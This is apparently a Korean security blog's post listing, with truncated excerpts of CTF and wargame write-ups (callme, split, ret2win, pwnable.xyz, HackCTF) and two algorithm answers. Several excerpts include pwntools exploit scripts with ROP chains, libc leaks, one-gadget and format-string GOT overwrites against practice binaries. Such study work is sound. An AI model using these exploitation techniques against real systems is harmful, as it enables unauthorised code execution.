anonymous?

# checksec # process ★취약점 1) idx < 255만 체크한다. 음수 인덱스로는 어떤 것도 줄 수 있다. 2) signed나 unsigned는 0x8000000000000000와 | 을 시키면 idx < 255로 양수 범위가 제한되어 있어도 우회 가능하다. 0x8000000000000000는 최상위 1비트 부호를 나타낸다. 그리고 | 을 시켜도 data[idx]에서 최상위 비트는 날아가므로 상관없다. edit과 print를 합쳐서 총 5번 값을 넣을 수 있다. exit함수를 이용해서 exploit할 것이다. 1. libc leak edit_data 함수에서 값을 넣고 값이 들어간 주소의 위로 올라가면 libc 함수 주소가 들어있음을 알 수 있다. offset은 -0x60인데 인덱스이므로..

SYSTEM HACKING/CTF, etc 2020. 3. 26. 17:57

1. len(bits) == 1이면 항상 0일 것이므로 return true 2. i = 0부터 시작해서 len(bits)-1보다 작을 때까지 반복 1) bits[i] == 1이면 항상 2bit일 것. 따라서 다음을 건너뛰도록 함. i += 2 2) 그렇지 않으면 항상 1bit일 것 (위의 경우에서는 다음을 건너뛰었으므로 10인 경우도 위에 포함되어서) 따라서 다음으로 감 i += 1 이 과정을 반복해서 len(bits)-1에 다다른다면 마지막 인덱스가 1bit인 것이고, len(bits)-1보다 커진다면 2bit인 것이다. 이것을 이용해서 i 값과 len(bits)-1 값이 같은지 비교하는 것으로 return 한다면 같으면 bool값으로 1이 리턴되어서 true가 출력되고, 다르면 bool값으로 0이 ..

PROGRAMMING/Algorithm 2020. 3. 25. 20:21

import java.util.*; class Solution{ public int[] twoSum(int[] nums, int targets) { int[] answer = new int[2]; int i=0; for(int j=0; j

PROGRAMMING/Algorithm 2020. 3. 25. 20:16

# checksec # process mov [r14], r15 ; ret 가젯이 주어졌다. pop rdi ; ret 가젯도 있다. 사실 one gadget으로 풀린다.. 두 방법으로 풀어보겠다. 1. return address -> one gadget 1) libc leak - one gadget 주소 구한다. 2) return address -> one gadget 2. system("/bin/sh") 1) pop r14 ; pop r15 ; ret 가젯을 사용해서 r14, r15 레지스터에 각각 &data, "/bin/sh\x00"을 넣는다. pop r14 ; pop 15 ; ret : 0x400890 - 32bit의 경우, pop edi ; pop ebp ; ret 가젯 사용 2) mov [r14..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 20:10

# checksec # process 그냥 설명에 나와있는대로 callme_one(1, 2, 3) callme_two(1, 2, 3) callme_three(1, 2, 3)를 차례로 rop gadget으로 호출하면 flag가 출력된다. - 64bit p3ret gadget : 0x401ab0 - 32bit gadget # exploit code & exploit - 64bit #!/usr/bin/python from pwn import * p = process("./callme") elf = ELF("./callme") libc = elf.libc p3ret = 0x401ab0 pay = 'A'*(0x20+0x8) pay += p64(p3ret) + p64(1) + p64(2) + p64(3) + p64..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:53

# checksec # code # process ldd로 libcbase를 확인해봤을 때 계속 변하는 것으로 보아 ASLR이 걸려있음을 알 수 있다. 따라서 libc leak이 필요하다. pop rdi ; ret 가젯을 사용해서 puts@plt로 got를 출력하도록 해서 libcbase를 구하고 one gadget 주소를 구한다. - 64bit - 32bit 그 후 return address -> one gadget으로 덮는다. \x7f까지 6바이트 받아지므로 "\x7f까지 받도록 하고 앞에 ‘\x00’ 두 개를 붙였다. # exploit code & exploit 1. 64bit #!/usr/bin/python from pwn import * p = process("./split") elf = ELF..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:49

# checksec # exploit code & exploit 1. 64bit #!/usr/bin/python from pwn import * p = process("./ret2win") elf = ELF("./ret2win") ret2win = elf.symbols['ret2win'] pay = 'A'*0x28 + p64(ret2win) p.sendlineafter("> ", pay) p.interactive() 2. 32bit #!/usr/bin/python from pwn import * p = process("./ret2win32") elf = ELF("./ret2win32") ret2win = elf.symbols['ret2win'] p.sendlineafter("> ", 'A'*(0x28+0..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:42

# checksec / file # process FULL RELRO 보호기법이 걸려있어서 GOT overwrite은 하지 못하지만 두 가지 솔루션이 있다. 1. return address -> win (local, remote로 성공) BOF는 일어나지 않지만 2번 메뉴에서 입력한 주소에 값을 적을 수 있다. return address 주소를 알아낼 수 있으면 1번 메뉴에서 return address 입력하고, 2번 메뉴에서 win 함수 주소를 값으로 적는다. 1) libc leak -> environ ptr 구한다. 2) environ 주소 구한다. - 1번 메뉴 : environ - 3번 메뉴 : environ 값 출력 3) environ 주소를 이용해서 main의 SFP를 구하고, SFP + 8이..

SYSTEM HACKING/pwnable.xyz 2020. 3. 25. 19:35

# checksec # menu 메뉴 1 : Fgets(&s, 0x80, stdin) 0x80만큼 표준입력(stdin, 전역변수 0x202020)받은 값을 s 변수[rbp-400h]에 저장한다. 메뉴 2 : append(&s) a1은 변수 s에 대한 포인터 값. #include char *strncat(char *string1, const char *string2, size_t count); strncat(a1, &buf, (signed int)v3) : buf의 처음 v3자를 a1에 추가하고 널 문자(\0)로 결과 스트링을 종료한다. V3가 buf의 길이보다 크면 v3 대신 buf의 길이만큼 a1에 추가하고 널 문자로 종료한다. 메뉴 3 : 변수 s에 저장된 메시지 값 출력 # process 값을 넣고..

SYSTEM HACKING/pwnable.xyz 2020. 3. 25. 18:44

jw security 블로그의 64bit FSB 글을 참고하면서 풀었다. # checksec # process V5변수가 rbp-8에 위치한 것으로 보아 canary임을 알 수 있다. AAAAAAAA가 6번째에 출력된다. 즉, 스택값이 6번째부터 들어있는 것이다. Offset은 6이 된다. Canary가 있을 경우 프로그램 종료 전 __stack_chk_fail 함수가 호출된다고 한다. 이 함수의 GOT를 변조하면 된다. 1. libc leak libc leak을 위해 libc_start_main+240이 출력되는 위치와 스택이 출력되기 시작하는 위치와의 offset을 구해야 한다. offset은 15가 된다. libcbase offset은 0x20830으로 libc_start_main+240을 구하고나..

SYSTEM HACKING/HackCTF 2020. 3. 25. 18:32

# checksec # process IDA에서 ctrl + u 를 누르면 String Window로 갈 수 있다. 바이너리를 넣었을 때 Flag와 Top secret 파일이 같이 생겨서 String Window를 봤다. 그럼 Statically linked binary에서 main함수를 더 빨리 찾을 수 있을 것이다. 바이너리를 실행시켰을 때 Input name이 출력됐으므로 Input name을 따라가면 main함수를 찾을 수 있을 것이다. 전역변수 unk_6CCD60에 입력받는다. scanf면 길이제한은 없다. (다만 뒤에 null byte가 같이 붙음) return address를 덮을 수 있다. TOP_SECRET을 따라가보면 이것도 MAIN함수에서 사용되는데, INPUT NAME 출력위한 함수..

SYSTEM HACKING/HackCTF 2020. 3. 25. 18:08

main함수를 보면 password를 체크하는 함수로 검사한다. Check_password함수를 보면 입력을 인자로 전달하는데 마지막에 특정 n 길이만큼 s1과 비교한다. 저 문자열이 패스워드일 것이다. 디코딩해서 보면.. 플래그를 얻을 수 있다.

SYSTEM HACKING/HackCTF 2020. 3. 9. 22:14